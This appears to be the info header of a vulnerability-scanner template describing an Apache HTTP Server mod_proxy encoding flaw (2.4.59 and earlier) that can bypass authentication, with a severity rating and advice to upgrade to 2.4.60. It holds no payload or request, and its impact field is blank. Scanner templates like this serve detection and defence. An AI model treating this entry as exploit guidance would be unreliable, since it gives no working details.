info:
  name: Apache HTTP Server - ACL Bypass
  author: pdteam
  severity: high
  description: |
    Encoding problem in mod_proxy in Apache HTTP Server 2.4.59 and earlier allows request URLs with incorrect encoding to be sent to backend services, potentially bypassing authentication via crafted requests.
  impact: |

  remediation: |
    Upgrade to Apache HTTP Server version 2.4.60 or later.
